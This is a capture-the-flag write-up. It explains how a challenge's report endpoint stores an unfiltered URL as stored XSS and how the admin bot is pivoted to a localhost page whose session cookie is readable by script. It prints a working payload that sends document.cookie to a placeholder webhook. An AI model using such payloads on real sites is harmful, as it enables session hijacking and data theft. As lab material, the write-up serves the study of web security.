Free Flag
Summary
We’ll submit a “report” that makes the admin bot render attacker-controlled HTML/JS. Our first payload deliberately runs on a non-localhost origin just to obtain a server-side reference ID. With that refId
, we then make the bot load an internal page on 127.0.0.1
that reflects our payload into HTML. Because the bot’s session cookie is intentionally not HttpOnly and is scoped to 127.0.0.1
, document.cookie
becomes readable during the second visit. We exfiltrate the cookie (or call /api/fetchflag
directly from JS) and grab the flag.
Start
The challenge opens with a login form. I checked the code for SQL injection and found none. Further down, there’s an endpoint POST /visit
that doesn’t require cookies, so we can skip login entirely and use the report workflow.

/Visit
The report form takes a URL and a sender name. Reading the code shows exactly how it stores and later displays our input.

app.post('/visit', async (req, res) => {
const { url, visitor } = req.body;
...
const refId = uuidv4();
const filter = content => !content.includes("<") && !content.includes(">") ? content : "guest";
db.run("INSERT INTO reports (refId, visitor, url) VALUES (?, ?, ?)",
[refId, String(filter(visitor)), url], ...
In POST /visit
, the server stores both a sanitized visitor and an unsanitized url:
Only visitor
is filtered for <
/>
—url
is saved as-is.
Later, GET /api/reference/:refId
pulls the row and concatenates it directly into an HTML string:
app.get('/api/reference/:refId', (req, res) => {
...
db.get("SELECT refId, visitor, url FROM reports WHERE refId = ?", [refId], (err, row) => {
...
res.send(
`Reference ID: ${row.refId}\nVisitor: ${row.visitor}\nURL: ${row.url}`
);
});
});
res.send(string)
returns HTML by default; if row.url
contains <script>…</script>
, the browser parses and runs it. This is the core XSS sink.
First test: prove XSS + get refId
refId
I submit a report with a data:
page payload to beacon document.cookie
:
data:text/html,<script>
new Image().src='https://YOUR_WEBHOOK/c?c='+encodeURIComponent(document.cookie)
</script>

The server returns a refId
. I can view it at /api/reference/<refId>

Ok perfect now lets send it to the admin using
http://95.217.6.37:20001/api/reference/refid

see a webhook request arrive.

Where are the cookies?
we got a callback but where's the cookies ? lets take a look at the bot source code.
const response = await axios.post('http://localhost:5000/login', {
username: 'admin',
password: 'fakepassword'
});
...
const cookieObjects = cookies.map(cookie => {
const [nameValue, ...rest] = cookie.split(';');
const [name, value] = nameValue.split('=');
return {
name: name.trim(),
value: value.trim(),
domain: '127.0.0.1',
path: '/',
httpOnly: false,
sameSite: 'lax'
};
});
await page.setCookie(...cookieObjects);
await page.goto(urlToVisit, { waitUntil: 'networkidle2' });
The headless bot logs in as admin via Axios, extracts Set-Cookie
, then re-creates the cookie for Puppeteer with httpOnly:false
and domain:'127.0.0.1'
:
Two important details:
httpOnly:false
⇒ JavaScript can read the cookie.domain:'127.0.0.1'
⇒ cookie is attached to pages served from127.0.0.1
, not todata:
or other origins.
This means any script that runs on http://127.0.0.1
can do document.cookie
Why my first payload shows no cookie
If the bot visits a data:
URL:
data:text/html,<script>new Image().src='https://YOUR_WEBHOOK/c?c='+encodeURIComponent(document.cookie)</script>
the page’s origin is data:
(not http://127.0.0.1
), so the 127.0.0.1
cookie is not attached; document.cookie
will be empty. That’s okay, we only need this first visit to store the payload and get back a refId
we can pivot on.
Localhost pivot with refId
refId
Instead of sending the admin to the public reference URL, we report this internal URL for the bot to visit:
http://127.0.0.1:5000/api/reference/<refId>
That endpoint reflects our stored url
into an HTML response on the 127.0.0.1
origin, so our <script>
runs with the admin cookie attached and JS-readable. Now the webhook receives the cookie value.
(Alternatively, the stored payload can fetch('/api/fetchflag')
and exfiltrate the flag directly, avoiding cookie reuse.)

This time we got the cookie in the request

With the cookie, I can access /dashboard
or call /api/fetchflag
to retrieve the flag. In this challenge, both work once the session is present.

Last updated
Was this helpful?